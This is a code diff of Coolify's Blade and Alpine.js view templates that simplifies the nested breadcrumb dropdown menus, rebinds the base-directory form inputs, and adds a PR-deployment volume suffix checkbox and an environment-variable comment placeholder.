class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
|
||||
Zone</a>
|
||||
@else
|
||||
<a href="{{ route('project.database.configuration', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
|
||||
<a href="{{ route('project.database.environment-variables', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
|
||||
Variables</a>
|
||||
<a href="{{ route('project.database.servers', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Servers</a>
|
||||
<a href="{{ route('project.database.persistent-storage', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Persistent
|
||||
Storage</a>
|
||||
<a href="{{ route('project.database.webhooks', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
|
||||
<a href="{{ route('project.database.resource-limits', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
|
||||
Limits</a>
|
||||
<a href="{{ route('project.database.resource-operations', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
|
||||
Operations</a>
|
||||
<a href="{{ route('project.database.metrics', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Metrics</a>
|
||||
<a href="{{ route('project.database.tags', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
|
||||
<a href="{{ route('project.database.danger', $routeParams) }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
|
||||
Zone</a>
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<li class="inline-flex items-center mr-2">
|
||||
<a class="text-xs truncate lg:text-sm hover:text-warning" {{ wireNavigate() }}
|
||||
href="{{ $isApplication
|
||||
? route('project.application.configuration', $routeParams)
|
||||
: ($isService
|
||||
? route('project.service.configuration', $routeParams)
|
||||
: route('project.database.configuration', $routeParams)) }}"
|
||||
title="{{ data_get($resource, 'name') }}{{ $serverName ? ' ('.$serverName.')' : '' }}">
|
||||
{{ data_get($resource, 'name') }}@if($serverName) <span class="text-xs text-neutral-400">({{ $serverName }})</span>@endif
|
||||
</a>
|
||||
</li>
|
||||
|
||||
<!-- Current Section Status -->
|
||||
|
|
|
|||
|
|
@ -314,8 +314,8 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
|
|||
</div>
|
||||
@else
|
||||
<div x-data="{
|
||||
baseDir: '{{ $application->base_directory }}',
|
||||
dockerfileLocation: '{{ $application->dockerfile_location }}',
|
||||
baseDir: @entangle('baseDirectory'),
|
||||
dockerfileLocation: @entangle('dockerfileLocation'),
|
||||
normalizePath(path) {
|
||||
if (!path || path.trim() === '') return '/';
|
||||
path = path.trim();
|
||||
|
|
@ -332,11 +332,11 @@ class="underline" href="https://coolify.io/docs/knowledge-base/docker/registry"
|
|||
this.dockerfileLocation = this.normalizePath(this.dockerfileLocation);
|
||||
}
|
||||
}" class="flex flex-col gap-2 xl:flex-row">
|
||||
<x-forms.input placeholder="/" wire:model.defer="baseDirectory"
|
||||
<x-forms.input placeholder="/"
|
||||
label="Base Directory" helper="Directory to use as root. Useful for monorepos."
|
||||
x-bind:disabled="!canUpdate" x-model="baseDir" @blur="normalizeBaseDir()" />
|
||||
@if ($buildPack === 'dockerfile' && !$application->dockerfile)
|
||||
<x-forms.input placeholder="/Dockerfile" wire:model.defer="dockerfileLocation"
|
||||
<x-forms.input placeholder="/Dockerfile"
|
||||
label="Dockerfile Location"
|
||||
helper="It is calculated together with the Base Directory:<br><span class='dark:text-warning'>{{ Str::start($application->base_directory . $application->dockerfile_location, '/') }}</span>"
|
||||
x-bind:disabled="!canUpdate" x-model="dockerfileLocation"
|
||||
|
|
|
|||
|
|
@ -60,36 +60,13 @@ class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolg
|
|||
</div>
|
||||
</div>
|
||||
</li>
|
||||
<li class="inline-flex items-center" x-data="{ envOpen: false, activeEnv: null, envPositions: {}, activeRes: null, resPositions: {}, activeMenuEnv: null, menuPositions: {}, closeTimeout: null, envTimeout: null, resTimeout: null, menuTimeout: null, toggle() { this.envOpen = !this.envOpen; if (!this.envOpen) { this.activeEnv = null;
|
||||
this.activeRes = null;
|
||||
this.activeMenuEnv = null; } }, open() { clearTimeout(this.closeTimeout);
|
||||
this.envOpen = true }, close() { this.closeTimeout = setTimeout(() => { this.envOpen = false;
|
||||
this.activeEnv = null;
|
||||
this.activeRes = null;
|
||||
this.activeMenuEnv = null; }, 100) }, openEnv(id) { clearTimeout(this.closeTimeout);
|
||||
clearTimeout(this.envTimeout);
|
||||
this.activeEnv = id }, closeEnv() { this.envTimeout = setTimeout(() => { this.activeEnv = null;
|
||||
this.activeRes = null;
|
||||
this.activeMenuEnv = null; }, 100) }, openRes(id) { clearTimeout(this.envTimeout);
|
||||
clearTimeout(this.resTimeout);
|
||||
this.activeRes = id }, closeRes() { this.resTimeout = setTimeout(() => { this.activeRes = null;
|
||||
this.activeMenuEnv = null; }, 100) }, openMenu(id) { clearTimeout(this.resTimeout);
|
||||
clearTimeout(this.menuTimeout);
|
||||
this.activeMenuEnv = id }, closeMenu() { this.menuTimeout = setTimeout(() => { this.activeMenuEnv = null; }, 100) } }">
|
||||
<li class="inline-flex items-center" x-data="{ envOpen: false, activeEnv: null, envPositions: {}, closeTimeout: null, envTimeout: null, toggle() { this.envOpen = !this.envOpen; if (!this.envOpen) { this.activeEnv = null; } }, open() { clearTimeout(this.closeTimeout); this.envOpen = true }, close() { this.closeTimeout = setTimeout(() => { this.envOpen = false; this.activeEnv = null; }, 100) }, openEnv(id) { clearTimeout(this.closeTimeout); clearTimeout(this.envTimeout); this.activeEnv = id }, closeEnv() { this.envTimeout = setTimeout(() => { this.activeEnv = null; }, 100) } }">
|
||||
<div class="flex items-center relative" @mouseenter="open()" @mouseleave="close()">
|
||||
<a class="text-xs truncate lg:text-sm hover:text-warning" {{ wireNavigate() }}
|
||||
href="{{ route('project.resource.index', ['project_uuid' => data_get($parameters, 'project_uuid'), 'environment_uuid' => $environment->uuid]) }}">
|
||||
{{ $environment->name }}
|
||||
</a>
|
||||
<button type="button" @click.stop="toggle()" class="px-1 text-warning">
|
||||
<svg class="w-3 h-3 transition-transform" :class="{ 'rotate-90': envOpen }" fill="none"
|
||||
stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="4" d="M9 5l7 7-7 7">
|
||||
</path>
|
||||
</svg>
|
||||
</button>
|
||||
|
||||
<!-- Environment Dropdown Container -->
|
||||
<div x-show="envOpen" @click.outside="close()"
|
||||
x-transition:enter="transition ease-out duration-200"
|
||||
x-transition:enter-start="opacity-0 scale-95" x-transition:enter-end="opacity-100 scale-100"
|
||||
|
|
@ -103,26 +80,25 @@ class="absolute z-20 top-full mt-1 left-0 sm:left-auto max-w-[calc(100vw-1rem)]"
|
|||
class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
|
||||
@foreach ($allEnvironments as $env)
|
||||
@php
|
||||
$envDatabases = collect()
|
||||
->merge($env->postgresqls ?? collect())
|
||||
->merge($env->redis ?? collect())
|
||||
->merge($env->mongodbs ?? collect())
|
||||
->merge($env->mysqls ?? collect())
|
||||
->merge($env->mariadbs ?? collect())
|
||||
->merge($env->keydbs ?? collect())
|
||||
->merge($env->dragonflies ?? collect())
|
||||
->merge($env->clickhouses ?? collect());
|
||||
$envResources = collect()
|
||||
->merge(
|
||||
$env->applications->map(
|
||||
fn($app) => ['type' => 'application', 'resource' => $app],
|
||||
),
|
||||
)
|
||||
->merge(
|
||||
$env
|
||||
->databases()
|
||||
->map(fn($db) => ['type' => 'database', 'resource' => $db]),
|
||||
)
|
||||
->merge(
|
||||
$env->services->map(
|
||||
fn($svc) => ['type' => 'service', 'resource' => $svc],
|
||||
),
|
||||
);
|
||||
->merge($env->applications->map(fn($app) => ['type' => 'application', 'resource' => $app]))
|
||||
->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]))
|
||||
->merge($env->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]))
|
||||
->sortBy(fn($item) => strtolower($item['resource']->name));
|
||||
@endphp
|
||||
<div @mouseenter="openEnv('{{ $env->uuid }}'); envPositions['{{ $env->uuid }}'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
|
||||
@mouseleave="closeEnv()">
|
||||
<a href="{{ route('project.resource.index', ['project_uuid' => data_get($parameters, 'project_uuid'), 'environment_uuid' => $env->uuid]) }}"
|
||||
{{ wireNavigate() }}
|
||||
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200 {{ $env->uuid === $environment->uuid ? 'dark:text-warning font-semibold' : '' }}"
|
||||
title="{{ $env->name }}">
|
||||
<span class="truncate">{{ $env->name }}</span>
|
||||
|
|
@ -153,7 +129,6 @@ class="flex items-center gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover
|
|||
<!-- Resources Sub-dropdown (2nd level) -->
|
||||
@foreach ($allEnvironments as $env)
|
||||
@php
|
||||
// Use pre-loaded relations instead of databases() method to avoid N+1 queries
|
||||
$envDatabases = collect()
|
||||
->merge($env->postgresqls ?? collect())
|
||||
->merge($env->redis ?? collect())
|
||||
|
|
@ -164,28 +139,19 @@ class="flex items-center gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover
|
|||
->merge($env->dragonflies ?? collect())
|
||||
->merge($env->clickhouses ?? collect());
|
||||
$envResources = collect()
|
||||
->merge(
|
||||
$env->applications->map(
|
||||
fn($app) => ['type' => 'application', 'resource' => $app],
|
||||
),
|
||||
)
|
||||
->merge(
|
||||
$envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]),
|
||||
)
|
||||
->merge(
|
||||
$env->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]),
|
||||
);
|
||||
->merge($env->applications->map(fn($app) => ['type' => 'application', 'resource' => $app]))
|
||||
->merge($envDatabases->map(fn($db) => ['type' => 'database', 'resource' => $db]))
|
||||
->merge($env->services->map(fn($svc) => ['type' => 'service', 'resource' => $svc]));
|
||||
@endphp
|
||||
@if ($envResources->count() > 0)
|
||||
<div x-show="activeEnv === '{{ $env->uuid }}'" x-cloak
|
||||
x-transition:enter="transition ease-out duration-150"
|
||||
x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
|
||||
@mouseenter="openEnv('{{ $env->uuid }}')" @mouseleave="closeEnv()"
|
||||
:style="'position: absolute; left: 100%; top: ' + (envPositions[
|
||||
'{{ $env->uuid }}'] || 0) + 'px; z-index: 30;'"
|
||||
:style="'position: absolute; left: 100%; top: ' + (envPositions['{{ $env->uuid }}'] || 0) + 'px; z-index: 30;'"
|
||||
class="flex flex-col sm:flex-row items-start pl-1">
|
||||
<div
|
||||
class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
|
||||
class="relative w-56 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
|
||||
@foreach ($envResources as $envResource)
|
||||
@php
|
||||
$resType = $envResource['type'];
|
||||
|
|
@ -207,241 +173,14 @@ class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 bor
|
|||
'database_uuid' => $res->uuid,
|
||||
]),
|
||||
};
|
||||
// Use loaded relation to check additional_servers (avoids N+1 query)
|
||||
$resHasMultipleServers =
|
||||
$resType === 'application' &&
|
||||
method_exists($res, 'additional_servers') &&
|
||||
($res->relationLoaded('additional_servers') ? $res->additional_servers->count() > 0 : false);
|
||||
$resServerName = $resHasMultipleServers
|
||||
? null
|
||||
: data_get($res, 'destination.server.name');
|
||||
@endphp
|
||||
<div @mouseenter="openRes('{{ $env->uuid }}-{{ $res->uuid }}'); resPositions['{{ $env->uuid }}-{{ $res->uuid }}'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
|
||||
@mouseleave="closeRes()">
|
||||
<a href="{{ $resRoute }}"
|
||||
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200"
|
||||
title="{{ $res->name }}{{ $resServerName ? ' (' . $resServerName . ')' : '' }}">
|
||||
<span class="truncate">{{ $res->name }}@if ($resServerName)
|
||||
<span
|
||||
class="text-xs text-neutral-400">({{ $resServerName }})</span>
|
||||
@endif
|
||||
</span>
|
||||
<svg class="w-3 h-3 shrink-0" fill="none"
|
||||
stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round" stroke-linejoin="round"
|
||||
stroke-width="4" d="M9 5l7 7-7 7"></path>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
<a href="{{ $resRoute }}" {{ wireNavigate() }}
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200"
|
||||
title="{{ $res->name }}">
|
||||
{{ $res->name }}
|
||||
</a>
|
||||
@endforeach
|
||||
</div>
|
||||
|
||||
<!-- Main Menu Sub-dropdown (3rd level) -->
|
||||
@foreach ($envResources as $envResource)
|
||||
@php
|
||||
$resType = $envResource['type'];
|
||||
$res = $envResource['resource'];
|
||||
$resParams = [
|
||||
'project_uuid' => $project->uuid,
|
||||
'environment_uuid' => $env->uuid,
|
||||
];
|
||||
if ($resType === 'application') {
|
||||
$resParams['application_uuid'] = $res->uuid;
|
||||
} elseif ($resType === 'service') {
|
||||
$resParams['service_uuid'] = $res->uuid;
|
||||
} else {
|
||||
$resParams['database_uuid'] = $res->uuid;
|
||||
}
|
||||
$resKey = $env->uuid . '-' . $res->uuid;
|
||||
@endphp
|
||||
<div x-show="activeRes === '{{ $resKey }}'" x-cloak
|
||||
x-transition:enter="transition ease-out duration-150"
|
||||
x-transition:enter-start="opacity-0"
|
||||
x-transition:enter-end="opacity-100"
|
||||
@mouseenter="openRes('{{ $resKey }}')" @mouseleave="closeRes()"
|
||||
:style="'position: absolute; left: 100%; top: ' + (resPositions[
|
||||
'{{ $resKey }}'] || 0) + 'px; z-index: 40;'"
|
||||
class="flex flex-col sm:flex-row items-start pl-1">
|
||||
<!-- Main Menu List -->
|
||||
<div
|
||||
class="relative w-48 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200">
|
||||
@if ($resType === 'application')
|
||||
<div @mouseenter="openMenu('{{ $resKey }}-config'); menuPositions['{{ $resKey }}-config'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
|
||||
@mouseleave="closeMenu()">
|
||||
<a href="{{ route('project.application.configuration', $resParams) }}"
|
||||
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
|
||||
<span>Configuration</span>
|
||||
<svg class="w-3 h-3 shrink-0" fill="none"
|
||||
stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round"
|
||||
stroke-linejoin="round" stroke-width="4"
|
||||
d="M9 5l7 7-7 7"></path>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
<a href="{{ route('project.application.deployment.index', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Deployments</a>
|
||||
<a href="{{ route('project.application.logs', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Logs</a>
|
||||
@can('canAccessTerminal')
|
||||
<a href="{{ route('project.application.command', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Terminal</a>
|
||||
@endcan
|
||||
@elseif ($resType === 'service')
|
||||
<div @mouseenter="openMenu('{{ $resKey }}-config'); menuPositions['{{ $resKey }}-config'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
|
||||
@mouseleave="closeMenu()">
|
||||
<a href="{{ route('project.service.configuration', $resParams) }}"
|
||||
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
|
||||
<span>Configuration</span>
|
||||
<svg class="w-3 h-3 shrink-0" fill="none"
|
||||
stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round"
|
||||
stroke-linejoin="round" stroke-width="4"
|
||||
d="M9 5l7 7-7 7"></path>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
<a href="{{ route('project.service.logs', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Logs</a>
|
||||
@can('canAccessTerminal')
|
||||
<a href="{{ route('project.service.command', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Terminal</a>
|
||||
@endcan
|
||||
@else
|
||||
<div @mouseenter="openMenu('{{ $resKey }}-config'); menuPositions['{{ $resKey }}-config'] = $el.offsetTop - ($el.closest('.overflow-y-auto')?.scrollTop || 0)"
|
||||
@mouseleave="closeMenu()">
|
||||
<a href="{{ route('project.database.configuration', $resParams) }}"
|
||||
class="flex items-center justify-between gap-2 px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">
|
||||
<span>Configuration</span>
|
||||
<svg class="w-3 h-3 shrink-0" fill="none"
|
||||
stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path stroke-linecap="round"
|
||||
stroke-linejoin="round" stroke-width="4"
|
||||
d="M9 5l7 7-7 7"></path>
|
||||
</svg>
|
||||
</a>
|
||||
</div>
|
||||
<a href="{{ route('project.database.logs', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Logs</a>
|
||||
@can('canAccessTerminal')
|
||||
<a href="{{ route('project.database.command', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Terminal</a>
|
||||
@endcan
|
||||
@if (
|
||||
$res->getMorphClass() === 'App\Models\StandalonePostgresql' ||
|
||||
$res->getMorphClass() === 'App\Models\StandaloneMongodb' ||
|
||||
$res->getMorphClass() === 'App\Models\StandaloneMysql' ||
|
||||
$res->getMorphClass() === 'App\Models\StandaloneMariadb')
|
||||
<a href="{{ route('project.database.backup.index', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm hover:bg-neutral-100 dark:hover:bg-coolgray-200">Backups</a>
|
||||
@endif
|
||||
@endif
|
||||
</div>
|
||||
|
||||
<!-- Configuration Sub-menu (4th level) -->
|
||||
<div x-show="activeMenuEnv === '{{ $resKey }}-config'" x-cloak
|
||||
x-transition:enter="transition ease-out duration-150"
|
||||
x-transition:enter-start="opacity-0"
|
||||
x-transition:enter-end="opacity-100"
|
||||
@mouseenter="openMenu('{{ $resKey }}-config')"
|
||||
@mouseleave="closeMenu()"
|
||||
:style="'position: absolute; left: 100%; top: ' + (menuPositions[
|
||||
'{{ $resKey }}-config'] || 0) + 'px; z-index: 50;'"
|
||||
class="pl-1">
|
||||
<div
|
||||
class="w-52 bg-white dark:bg-coolgray-100 rounded-md shadow-lg py-1 border border-neutral-200 dark:border-coolgray-200 max-h-96 overflow-y-auto scrollbar">
|
||||
@if ($resType === 'application')
|
||||
<a href="{{ route('project.application.configuration', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
|
||||
<a href="{{ route('project.application.environment-variables', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
|
||||
Variables</a>
|
||||
<a href="{{ route('project.application.persistent-storage', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Persistent
|
||||
Storage</a>
|
||||
<a href="{{ route('project.application.source', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Source</a>
|
||||
<a href="{{ route('project.application.servers', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Servers</a>
|
||||
<a href="{{ route('project.application.scheduled-tasks.show', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Scheduled
|
||||
Tasks</a>
|
||||
<a href="{{ route('project.application.webhooks', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
|
||||
<a href="{{ route('project.application.preview-deployments', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Preview
|
||||
Deployments</a>
|
||||
<a href="{{ route('project.application.healthcheck', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Healthcheck</a>
|
||||
<a href="{{ route('project.application.rollback', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Rollback</a>
|
||||
<a href="{{ route('project.application.resource-limits', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
|
||||
Limits</a>
|
||||
<a href="{{ route('project.application.resource-operations', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
|
||||
Operations</a>
|
||||
<a href="{{ route('project.application.metrics', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Metrics</a>
|
||||
<a href="{{ route('project.application.tags', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
|
||||
<a href="{{ route('project.application.advanced', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Advanced</a>
|
||||
<a href="{{ route('project.application.danger', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
|
||||
Zone</a>
|
||||
@elseif ($resType === 'service')
|
||||
<a href="{{ route('project.service.configuration', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
|
||||
<a href="{{ route('project.service.environment-variables', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
|
||||
Variables</a>
|
||||
<a href="{{ route('project.service.storages', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Storages</a>
|
||||
<a href="{{ route('project.service.scheduled-tasks.show', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Scheduled
|
||||
Tasks</a>
|
||||
<a href="{{ route('project.service.webhooks', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
|
||||
<a href="{{ route('project.service.resource-operations', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
|
||||
Operations</a>
|
||||
<a href="{{ route('project.service.tags', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
|
||||
<a href="{{ route('project.service.danger', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
|
||||
Zone</a>
|
||||
@else
|
||||
<a href="{{ route('project.database.configuration', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">General</a>
|
||||
<a href="{{ route('project.database.environment-variables', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Environment
|
||||
Variables</a>
|
||||
<a href="{{ route('project.database.servers', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Servers</a>
|
||||
<a href="{{ route('project.database.persistent-storage', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Persistent
|
||||
Storage</a>
|
||||
<a href="{{ route('project.database.webhooks', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Webhooks</a>
|
||||
<a href="{{ route('project.database.resource-limits', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
|
||||
Limits</a>
|
||||
<a href="{{ route('project.database.resource-operations', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Resource
|
||||
Operations</a>
|
||||
<a href="{{ route('project.database.metrics', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Metrics</a>
|
||||
<a href="{{ route('project.database.tags', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200">Tags</a>
|
||||
<a href="{{ route('project.database.danger', $resParams) }}"
|
||||
class="block px-4 py-2 text-sm truncate hover:bg-neutral-100 dark:hover:bg-coolgray-200 text-red-500">Danger
|
||||
Zone</a>
|
||||
@endif
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
@endforeach
|
||||
</div>
|
||||
@endif
|
||||
@endforeach
|
||||
|
|
@ -656,16 +395,16 @@ function sortFn(a, b) {
|
|||
function searchComponent() {
|
||||
return {
|
||||
search: '',
|
||||
applications: @js($applications),
|
||||
postgresqls: @js($postgresqls),
|
||||
redis: @js($redis),
|
||||
mongodbs: @js($mongodbs),
|
||||
mysqls: @js($mysqls),
|
||||
mariadbs: @js($mariadbs),
|
||||
keydbs: @js($keydbs),
|
||||
dragonflies: @js($dragonflies),
|
||||
clickhouses: @js($clickhouses),
|
||||
services: @js($services),
|
||||
applications: @js($applicationsJs),
|
||||
postgresqls: @js($postgresqlsJs),
|
||||
redis: @js($redisJs),
|
||||
mongodbs: @js($mongodbsJs),
|
||||
mysqls: @js($mysqlsJs),
|
||||
mariadbs: @js($mariadbsJs),
|
||||
keydbs: @js($keydbsJs),
|
||||
dragonflies: @js($dragonfliesJs),
|
||||
clickhouses: @js($clickhousesJs),
|
||||
services: @js($servicesJs),
|
||||
filterAndSort(items) {
|
||||
if (this.search === '') {
|
||||
return Object.values(items).sort(sortFn);
|
||||
|
|
|
|||
|
|
@ -15,6 +15,15 @@
|
|||
<x-forms.input label="Destination Path" :value="$fileStorage->mount_path" readonly />
|
||||
</div>
|
||||
</div>
|
||||
@if ($resource instanceof \App\Models\Application)
|
||||
@can('update', $resource)
|
||||
<div class="w-96">
|
||||
<x-forms.checkbox instantSave canGate="update" :canResource="$resource" label="Add suffix for PR deployments"
|
||||
id="isPreviewSuffixEnabled"
|
||||
helper="When enabled, a -pr-N suffix is added to this volume's path for preview deployments (e.g. ./scripts becomes ./scripts-pr-1). Disable this for volumes that contain shared config or scripts from your repository."></x-forms.checkbox>
|
||||
</div>
|
||||
@endcan
|
||||
@endif
|
||||
<form wire:submit='submit' class="flex flex-col gap-2">
|
||||
@if (!$isReadOnly)
|
||||
@can('update', $resource)
|
||||
|
|
|
|||
|
|
@ -26,6 +26,7 @@
|
|||
<div class="flex flex-col w-full gap-2 lg:flex-row lg:items-end">
|
||||
<div class="flex-1">
|
||||
<x-forms.input id="comment" label="Comment"
|
||||
placeholder="{{ $isMagicVariable ? 'This env cannot be edited manually, it is handled by Coolify.' : '' }}"
|
||||
helper="Add a note to document what this environment variable is used for." maxlength="256" />
|
||||
</div>
|
||||
<x-forms.button type="submit">Update</x-forms.button>
|
||||
|
|
@ -34,12 +35,6 @@
|
|||
<div class="flex flex-wrap w-full items-center gap-4">
|
||||
@if (!$is_redis_credential)
|
||||
@if ($type === 'service')
|
||||
<x-forms.checkbox instantSave id="is_buildtime"
|
||||
helper="Make this variable available during Docker build process. Useful for build secrets and dependencies."
|
||||
label="Available at Buildtime" />
|
||||
<x-forms.checkbox instantSave id="is_runtime"
|
||||
helper="Make this variable available in the running container at runtime."
|
||||
